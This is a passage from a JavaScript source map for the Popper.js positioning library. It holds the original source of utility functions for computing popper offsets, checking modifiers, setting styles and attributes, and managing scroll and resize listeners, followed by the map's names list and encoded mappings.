'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import computeAutoPlacement from './computeAutoPlacement';\nimport debounce from './debounce';\nimport findIndex from './findIndex';\nimport getBordersSize from './getBordersSize';\nimport getBoundaries from './getBoundaries';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport getClientRect from './getClientRect';\nimport getOffsetParent from './getOffsetParent';\nimport getOffsetRect from './getOffsetRect';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getOuterSizes from './getOuterSizes';\nimport getParentNode from './getParentNode';\nimport getPopperOffsets from './getPopperOffsets';\nimport getReferenceOffsets from './getReferenceOffsets';\nimport getScroll from './getScroll';\nimport getScrollParent from './getScrollParent';\nimport getStyleComputedProperty from './getStyleComputedProperty';\nimport getSupportedPropertyName from './getSupportedPropertyName';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport isFunction from './isFunction';\nimport isModifierEnabled from './isModifierEnabled';\nimport isModifierRequired from './isModifierRequired';\nimport isNumeric from './isNumeric';\nimport removeEventListeners from './removeEventListeners';\nimport runModifiers from './runModifiers';\nimport setAttributes from './setAttributes';\nimport setStyles from './setStyles';\nimport setupEventListeners from './setupEventListeners';\n\n/** @namespace Popper.Utils */\nexport {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n\n// This is here just for backward compatibility with versions lower than v1.10.3\n// you should import the utilities using named exports, if you want them all use:\n// ```\n// import * as PopperUtils from 'popper-utils';\n// ```\n// The default export will be removed in the next major version.\nexport default {\n  computeAutoPlacement,\n  debounce,\n  findIndex,\n  getBordersSize,\n  getBoundaries,\n  getBoundingClientRect,\n  getClientRect,\n  getOffsetParent,\n  getOffsetRect,\n  getOffsetRectRelativeToArbitraryNode,\n  getOuterSizes,\n  getParentNode,\n  getPopperOffsets,\n  getReferenceOffsets,\n  getScroll,\n  getScrollParent,\n  getStyleComputedProperty,\n  getSupportedPropertyName,\n  getWindowSizes,\n  isFixed,\n  isFunction,\n  isModifierEnabled,\n  isModifierRequired,\n  isNumeric,\n  removeEventListeners,\n  runModifiers,\n  setAttributes,\n  setStyles,\n  setupEventListeners,\n};\n"],"names":["getStyleComputedProperty","element","property","nodeType","window","ownerDocument","defaultView","css","getComputedStyle","getParentNode","nodeName","parentNode","host","getScrollParent","document","body","overflow","overflowX","overflowY","test","isIE11","isBrowser","MSInputMethodContext","documentMode","isIE10","navigator","userAgent","isIE","version","getOffsetParent","documentElement","noOffsetParent","offsetParent","nextElementSibling","indexOf","isOffsetContainer","firstElementChild","getRoot","node","findCommonOffsetParent","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","element1root","getScroll","side","upperSide","html","scrollingElement","includeScroll","rect","subtract","scrollTop","scrollLeft","modifier","top","bottom","left","right","getBordersSize","styles","axis","sideA","sideB","parseFloat","getSize","computedStyle","Math","max","parseInt","getWindowSizes","getClientRect","offsets","width","height","getBoundingClientRect","e","result","sizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getOffsetRectRelativeToArbitraryNode","children","parent","fixedPosition","runIsIE","isHTML","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","getViewportOffsetRectRelativeToArtbitraryNode","excludeScroll","relativeOffset","innerWidth","innerHeight","offset","isFixed","getFixedPositionOffsetParent","parentElement","el","getBoundaries","popper","reference","padding","boundariesElement","boundaries","boundariesNode","isPaddingNumber","getArea","computeAutoPlacement","placement","refRect","rects","sortedAreas","Object","keys","map","key","sort","a","b","area","filteredAreas","filter","computedPlacement","length","variation","split","longerTimeoutBrowsers","timeoutDuration","i","microtaskDebounce","fn","called","Promise","resolve","then","taskDebounce","scheduled","supportsMicroTasks","find","arr","check","Array","prototype","findIndex","prop","value","cur","match","obj","getOffsetRect","elementRect","offsetLeft","offsetTop","getOuterSizes","x","marginBottom","y","marginRight","getOppositePlacement","hash","replace","matched","getPopperOffsets","referenceOffsets","popperRect","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","getReferenceOffsets","state","commonOffsetParent","getSupportedPropertyName","prefixes","upperProp","charAt","toUpperCase","slice","prefix","toCheck","style","isFunction","functionToCheck","getType","toString","call","isModifierEnabled","modifiers","modifierName","some","name","enabled","isModifierRequired","requestingName","requestedName","requesting","isRequired","requested","warn","isNumeric","n","isNaN","isFinite","getWindow","removeEventListeners","removeEventListener","updateBound","scrollParents","forEach","scrollElement","eventsEnabled","runModifiers","data","ends","modifiersToRun","undefined","setAttributes","attributes","setAttribute","removeAttribute","setStyles","unit","attachToScrollParents","event","callback","isBody","target","addEventListener","passive","push","setupEventListeners","options"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA;;;;;;;AAOA,AAAe,SAASA,wBAAT,CAAkCC,OAAlC,EAA2CC,QAA3C,EAAqD;MAC9DD,QAAQE,QAAR,KAAqB,CAAzB,EAA4B;WACnB,EAAP;;;MAGIC,SAASH,QAAQI,aAAR,CAAsBC,WAArC;MACMC,MAAMH,OAAOI,gBAAP,CAAwBP,OAAxB,EAAiC,IAAjC,CAAZ;SACOC,WAAWK,IAAIL,QAAJ,CAAX,GAA2BK,GAAlC;;;ACdF;;;;;;;AAOA,AAAe,SAASE,aAAT,CAAuBR,OAAvB,EAAgC;MACzCA,QAAQS,QAAR,KAAqB,MAAzB,EAAiC;WACxBT,OAAP;;SAEKA,QAAQU,UAAR,IAAsBV,QAAQW,IAArC;;;ACRF;;;;;;;AAOA,AAAe,SAASC,eAAT,CAAyBZ,OAAzB,EAAkC;;MAE3C,CAACA,OAAL,EAAc;WACLa,SAASC,IAAhB;;;UAGMd,QAAQS,QAAhB;SACO,MAAL;SACK,MAAL;aACST,QAAQI,aAAR,CAAsBU,IAA7B;SACG,WAAL;aACSd,QAAQc,IAAf;;;;;8BAIuCf,yBAAyBC,OAAzB,CAfI;MAevCe,QAfuC,yBAevCA,QAfuC;MAe7BC,SAf6B,yBAe7BA,SAf6B;MAelBC,SAfkB,yBAelBA,SAfkB;;MAgB3C,wBAAwBC,IAAxB,CAA6BH,WAAWE,SAAX,GAAuBD,SAApD,CAAJ,EAAoE;WAC3DhB,OAAP;;;SAGKY,gBAAgBJ,cAAcR,OAAd,CAAhB,CAAP;;;AC9BF,gBAAe,OAAOG,MAAP,KAAkB,WAAlB,IAAiC,OAAOU,QAAP,KAAoB,WAApE;;ACEA,IAAMM,SAASC,aAAa,CAAC,EAAEjB,OAAOkB,oBAAP,IAA+BR,SAASS,YAA1C,CAA7B;AACA,IAAMC,SAASH,aAAa,UAAUF,IAAV,CAAeM,UAAUC,SAAzB,CAA5B;;;;;;;;;AASA,AAAe,SAASC,IAAT,CAAcC,OAAd,EAAuB;MAChCA,YAAY,EAAhB,EAAoB;WACXR,MAAP;;MAEEQ,YAAY,EAAhB,EAAoB;WACXJ,MAAP;;SAEKJ,UAAUI,MAAjB;;;ACjBF;;;;;;;AAOA,AAAe,SAASK,eAAT,CAAyB5B,OAAzB,EAAkC;MAC3C,CAACA,OAAL,EAAc;WACLa,SAASgB,eAAhB;;;MAGIC,iBAAiBJ,KAAK,EAAL,IAAWb,SAASC,IAApB,GAA2B,IAAlD;;;MAGIiB,eAAe/B,QAAQ+B,YAAR,IAAwB,IAA3C;;SAEOA,iBAAiBD,cAAjB,IAAmC9B,QAAQgC,kBAAlD,EAAsE;mBACrD,CAAChC,UAAUA,QAAQgC,kBAAnB,EAAuCD,YAAtD;;;MAGItB,WAAWsB,gBAAgBA,aAAatB,QAA9C;;MAEI,CAACA,QAAD,IAAaA,aAAa,MAA1B,IAAoCA,aAAa,MAArD,EAA6D;WACpDT,UAAUA,QAAQI,aAAR,CAAsByB,eAAhC,GAAkDhB,SAASgB,eAAlE;;;;;MAMA,CAAC,IAAD,EAAO,IAAP,EAAa,OAAb,EAAsBI,OAAtB,CAA8BF,aAAatB,QAA3C,MAAyD,CAAC,CAA1D,IACAV,yBAAyBgC,YAAzB,EAAuC,UAAvC,MAAuD,QAFzD,EAGE;WACOH,gBAAgBG,YAAhB,CAAP;;;SAGKA,YAAP;;;ACpCa,SAASG,iBAAT,CAA2BlC,OAA3B,EAAoC;MACzCS,QADyC,GAC5BT,OAD4B,CACzCS,QADyC;;MAE7CA,aAAa,MAAjB,EAAyB;WAChB,KAAP;;SAGAA,aAAa,MAAb,IAAuBmB,gBAAgB5B,QAAQmC,iBAAxB,MAA+CnC,OADxE;;;ACPF;;;;;;;AAOA,AAAe,SAASoC,OAAT,CAAiBC,IAAjB,EAAuB;MAChCA,KAAK3B,UAAL,KAAoB,IAAxB,EAA8B;WACrB0B,QAAQC,KAAK3B,UAAb,CAAP;;;SAGK2B,IAAP;;;ACRF;;;;;;;;AAQA,AAAe,SAASC,sBAAT,CAAgCC,QAAhC,EAA0CC,QAA1C,EAAoD;;MAE7D,CAACD,QAAD,IAAa,CAACA,SAASrC,QAAvB,IAAmC,CAACsC,QAApC,IAAgD,CAACA,SAAStC,QAA9D,EAAwE;WAC/DW,SAASgB,eAAhB;;;;MAIIY,QACJF,SAASG,uBAAT,CAAiCF,QAAjC,IACAG,KAAKC,2BAFP;MAGMC,QAAQJ,QAAQF,QAAR,GAAmBC,QAAjC;MACMM,MAAML,QAAQD,QAAR,GAAmBD,QAA/B;;;MAGMQ,QAAQlC,SAASmC,WAAT,EAAd;QACMC,QAAN,CAAeJ,KAAf,EAAsB,CAAtB;QACMK,MAAN,CAAaJ,GAAb,EAAkB,CAAlB;MACQK,uBAjByD,GAiB7BJ,KAjB6B,CAiBzDI,uBAjByD;;;;MAqB9DZ,aAAaY,uBAAb,IACCX,aAAaW,uBADf,IAEAN,MAAMO,QAAN,CAAeN,GAAf,CAHF,EAIE;QACIZ,kBAAkBiB,uBAAlB,CAAJ,EAAgD;aACvCA,uBAAP;;;WAGKvB,gBAAgBuB,uBAAhB,CAAP;;;;MAIIE,eAAejB,QAAQG,QAAR,CAArB;MACIc,aAAa1C,IAAjB,EAAuB;WACd2B,uBAAuBe,aAAa1C,IAApC,EAA0C6B,QAA1C,CAAP;GADF,MAEO;WACEF,uBAAuBC,QAAvB,EAAiCH,QAAQI,QAAR,EAAkB7B,IAAnD,CAAP;;;;ACjDJ;;;;;;;;AAQA,AAAe,SAAS2C,SAAT,CAAmBtD,OAAnB,EAA0C;MAAduD,IAAc,uEAAP,KAAO;;MACjDC,YAAYD,SAAS,KAAT,GAAiB,WAAjB,GAA+B,YAAjD;MACM9C,WAAWT,QAAQS,QAAzB;;MAEIA,aAAa,MAAb,IAAuBA,aAAa,MAAxC,EAAgD;QACxCgD,OAAOzD,QAAQI,aAAR,CAAsByB,eAAnC;QACM6B,mBAAmB1D,QAAQI,aAAR,CAAsBsD,gBAAtB,IAA0CD,IAAnE;WACOC,iBAAiBF,SAAjB,CAAP;;;SAGKxD,QAAQwD,SAAR,CAAP;;;AChBF;;;;;;;;;AASA,AAAe,SAASG,aAAT,CAAuBC,IAAvB,EAA6B5D,OAA7B,EAAwD;MAAlB6D,QAAkB,uEAAP,KAAO;;MAC/DC,YAAYR,UAAUtD,OAAV,EAAmB,KAAnB,CAAlB;MACM+D,aAAaT,UAAUtD,OAAV,EAAmB,MAAnB,CAAnB;MACMgE,WAAWH,WAAW,CAAC,CAAZ,GAAgB,CAAjC;OACKI,GAAL,IAAYH,YAAYE,QAAxB;OACKE,MAAL,IAAeJ,YAAYE,QAA3B;OACKG,IAAL,IAAaJ,aAAaC,QAA1B;OACKI,KAAL,IAAcL,aAAaC,QAA3B;SACOJ,IAAP;;;ACnBF;;;;;;;;;;AAUA,AAAe,SAASS,cAAT,CAAwBC,MAAxB,EAAgCC,IAAhC,EAAsC;MAC7CC,QAAQD,SAAS,GAAT,GAAe,MAAf,GAAwB,KAAtC;MACME,QAAQD,UAAU,MAAV,GAAmB,OAAnB,GAA6B,QAA3C;;SAGEE,WAAWJ,kBAAgBE,KAAhB,WAAX,EAA0C,EAA1C,IACAE,WAAWJ,kBAAgBG,KAAhB,WAAX,EAA0C,EAA1C,CAFF;;;ACZF,SAASE,OAAT,CAAiBJ,IAAjB,EAAuBzD,IAAvB,EAA6B2C,IAA7B,EAAmCmB,aAAnC,EAAkD;SACzCC,KAAKC,GAAL,CACLhE,gBAAcyD,IAAd,CADK,EAELzD,gBAAcyD,IAAd,CAFK,EAGLd,gBAAcc,IAAd,CAHK,EAILd,gBAAcc,IAAd,CAJK,EAKLd,gBAAcc,IAAd,CALK,EAML7C,KAAK,EAAL,IACKqD,SAAStB,gBAAcc,IAAd,CAAT,IACHQ,SAASH,0BAAuBL,SAAS,QAAT,GAAoB,KAApB,GAA4B,MAAnD,EAAT,CADG,GAEHQ,SAASH,0BAAuBL,SAAS,QAAT,GAAoB,QAApB,GAA+B,OAAtD,EAAT,CAHF,GAIE,CAVG,CAAP;;;AAcF,AAAe,SAASS,cAAT,CAAwBnE,QAAxB,EAAkC;MACzCC,OAAOD,SAASC,IAAtB;MACM2C,OAAO5C,SAASgB,eAAtB;MACM+C,gBAAgBlD,KAAK,EAAL,KAAYnB,iBAAiBkD,IAAjB,CAAlC;;SAEO;YACGkB,QAAQ,QAAR,EAAkB7D,IAAlB,EAAwB2C,IAAxB,EAA8BmB,aAA9B,CADH;WAEED,QAAQ,OAAR,EAAiB7D,IAAjB,EAAuB2C,IAAvB,EAA6BmB,aAA7B;GAFT;;;;;;;;;;;;;;;;;ACtBF;;;;;;;AAOA,AAAe,SAASK,aAAT,CAAuBC,OAAvB,EAAgC;sBAExCA,OADL;WAESA,QAAQf,IAAR,GAAee,QAAQC,KAFhC;YAGUD,QAAQjB,GAAR,GAAciB,QAAQE;;;;ACJlC;;;;;;;AAOA,AAAe,SAASC,qBAAT,CAA+BrF,OAA/B,EAAwC;MACjD4D,OAAO,EAAX;;;;;MAKI;QACElC,KAAK,EAAL,CAAJ,EAAc;aACL1B,QAAQqF,qBAAR,EAAP;UACMvB,YAAYR,UAAUtD,OAAV,EAAmB,KAAnB,CAAlB;UACM+D,aAAaT,UAAUtD,OAAV,EAAmB,MAAnB,CAAnB;WACKiE,GAAL,IAAYH,SAAZ;WACKK,IAAL,IAAaJ,UAAb;WACKG,MAAL,IAAeJ,SAAf;WACKM,KAAL,IAAcL,UAAd;KAPF,MASK;aACI/D,QAAQqF,qBAAR,EAAP;;GAXJ,CAcA,OAAMC,CAAN,EAAQ;;MAEFC,SAAS;UACP3B,KAAKO,IADE;SAERP,KAAKK,GAFG;WAGNL,KAAKQ,KAAL,GAAaR,KAAKO,IAHZ;YAILP,KAAKM,MAAL,GAAcN,KAAKK;GAJ7B;;;MAQMuB,QAAQxF,QAAQS,QAAR,KAAqB,MAArB,GAA8BuE,eAAehF,QAAQI,aAAvB,CAA9B,GAAsE,EAApF;MACM+E,QACJK,MAAML,KAAN,IAAenF,QAAQyF,WAAvB,IAAsCF,OAAOnB,KAAP,GAAemB,OAAOpB,IAD9D;MAEMiB,SACJI,MAAMJ,MAAN,IAAgBpF,QAAQ0F,YAAxB,IAAwCH,OAAOrB,MAAP,GAAgBqB,OAAOtB,GADjE;;MAGI0B,iBAAiB3F,QAAQ4F,WAAR,GAAsBT,KAA3C;MACIU,gBAAgB7F,QAAQ8F,YAAR,GAAuBV,MAA3C;;;;MAIIO,kBAAkBE,aAAtB,EAAqC;QAC7BvB,SAASvE,yBAAyBC,OAAzB,CAAf;sBACkBqE,eAAeC,MAAf,EAAuB,GAAvB,CAAlB;qBACiBD,eAAeC,MAAf,EAAuB,GAAvB,CAAjB;;WAEOa,KAAP,IAAgBQ,cAAhB;WACOP,MAAP,IAAiBS,aAAjB;;;SAGKZ,cAAcM,MAAd,CAAP;;;ACzDa,SAASQ,oCAAT,CAA8CC,QAA9C,EAAwDC,MAAxD,EAAuF;MAAvBC,aAAuB,uEAAP,KAAO;;MAC9F3E,SAAS4E,KAAQ,EAAR,CAAf;MACMC,SAASH,OAAOxF,QAAP,KAAoB,MAAnC;MACM4F,eAAehB,sBAAsBW,QAAtB,CAArB;MACMM,aAAajB,sBAAsBY,MAAtB,CAAnB;MACMM,eAAe3F,gBAAgBoF,QAAhB,CAArB;;MAEM1B,SAASvE,yBAAyBkG,MAAzB,CAAf;MACMO,iBAAiB9B,WAAWJ,OAAOkC,cAAlB,EAAkC,EAAlC,CAAvB;MACMC,kBAAkB/B,WAAWJ,OAAOmC,eAAlB,EAAmC,EAAnC,CAAxB;;;MAGGP,iBAAiBE,MAApB,EAA4B;eACfnC,GAAX,GAAiBY,KAAKC,GAAL,CAASwB,WAAWrC,GAApB,EAAyB,CAAzB,CAAjB;eACWE,IAAX,GAAkBU,KAAKC,GAAL,CAASwB,WAAWnC,IAApB,EAA0B,CAA1B,CAAlB;;MAEEe,UAAUD,cAAc;SACrBoB,aAAapC,GAAb,GAAmBqC,WAAWrC,GAA9B,GAAoCuC,cADf;UAEpBH,aAAalC,IAAb,GAAoBmC,WAAWnC,IAA/B,GAAsCsC,eAFlB;WAGnBJ,aAAalB,KAHM;YAIlBkB,aAAajB;GAJT,CAAd;UAMQsB,SAAR,GAAoB,CAApB;UACQC,UAAR,GAAqB,CAArB;;;;;;MAMI,CAACpF,MAAD,IAAW6E,MAAf,EAAuB;QACfM,YAAYhC,WAAWJ,OAAOoC,SAAlB,EAA6B,EAA7B,CAAlB;QACMC,aAAajC,WAAWJ,OAAOqC,UAAlB,EAA8B,EAA9B,CAAnB;;YAEQ1C,GAAR,IAAeuC,iBAAiBE,SAAhC;YACQxC,MAAR,IAAkBsC,iBAAiBE,SAAnC;YACQvC,IAAR,IAAgBsC,kBAAkBE,UAAlC;YACQvC,KAAR,IAAiBqC,kBAAkBE,UAAnC;;;YAGQD,SAAR,GAAoBA,SAApB;YACQC,UAAR,GAAqBA,UAArB;;;MAIApF,UAAU,CAAC2E,aAAX,GACID,OAAO7C,QAAP,CAAgBmD,YAAhB,CADJ,GAEIN,WAAWM,YAAX,IAA2BA,aAAa9F,QAAb,KAA0B,MAH3D,EAIE;cACUkD,cAAcuB,OAAd,EAAuBe,MAAvB,CAAV;;;SAGKf,OAAP;;;ACtDa,SAAS0B,6CAAT,CAAuD5G,OAAvD,EAAuF;MAAvB6G,aAAuB,uEAAP,KAAO;;MAC9FpD,OAAOzD,QAAQI,aAAR,CAAsByB,eAAnC;MACMiF,iBAAiBf,qCAAqC/F,OAArC,EAA8CyD,IAA9C,CAAvB;MACM0B,QAAQN,KAAKC,GAAL,CAASrB,KAAKgC,WAAd,EAA2BtF,OAAO4G,UAAP,IAAqB,CAAhD,CAAd;MACM3B,SAASP,KAAKC,GAAL,CAASrB,KAAKiC,YAAd,EAA4BvF,OAAO6G,WAAP,IAAsB,CAAlD,CAAf;;MAEMlD,YAAY,CAAC+C,aAAD,GAAiBvD,UAAUG,IAAV,CAAjB,GAAmC,CAArD;MACMM,aAAa,CAAC8C,aAAD,GAAiBvD,UAAUG,IAAV,EAAgB,MAAhB,CAAjB,GAA2C,CAA9D;;MAEMwD,SAAS;SACRnD,YAAYgD,eAAe7C,GAA3B,GAAiC6C,eAAeJ,SADxC;UAEP3C,aAAa+C,eAAe3C,IAA5B,GAAmC2C,eAAeH,UAF3C;gBAAA;;GAAf;;SAOO1B,cAAcgC,MAAd,CAAP;;;ACjBF;;;;;;;;AAQA,AAAe,SAASC,OAAT,CAAiBlH,OAAjB,EAA0B;MACjCS,WAAWT,QAAQS,QAAzB;MACIA,aAAa,MAAb,IAAuBA,aAAa,MAAxC,EAAgD;WACvC,KAAP;;MAEEV,yBAAyBC,OAAzB,EAAkC,UAAlC,MAAkD,OAAtD,EAA+D;WACtD,IAAP;;SAEKkH,QAAQ1G,cAAcR,OAAd,CAAR,CAAP;;;ACjBF;;;;;;;;AAQA,AAAe,SAASmH,4BAAT,CAAsCnH,OAAtC,EAA+C;;MAEvD,CAACA,OAAD,IAAY,CAACA,QAAQoH,aAArB,IAAsC1F,MAA1C,EAAkD;WAC1Cb,SAASgB,eAAhB;;MAEEwF,KAAKrH,QAAQoH,aAAjB;SACOC,MAAMtH,yBAAyBsH,EAAzB,EAA6B,WAA7B,MAA8C,MAA3D,EAAmE;SAC5DA,GAAGD,aAAR;;SAEKC,MAAMxG,SAASgB,eAAtB;;;ACVF;;;;;;;;;;;AAWA,AAAe,SAASyF,aAAT,CACbC,MADa,EAEbC,SAFa,EAGbC,OAHa,EAIbC,iBAJa,EAMb;MADAxB,aACA,uEADgB,KAChB;;;;MAGIyB,aAAa,EAAE1D,KAAK,CAAP,EAAUE,MAAM,CAAhB,EAAjB;MACMpC,eAAemE,gBAAgBiB,6BAA6BI,MAA7B,CAAhB,GAAuDjF,uBAAuBiF,MAA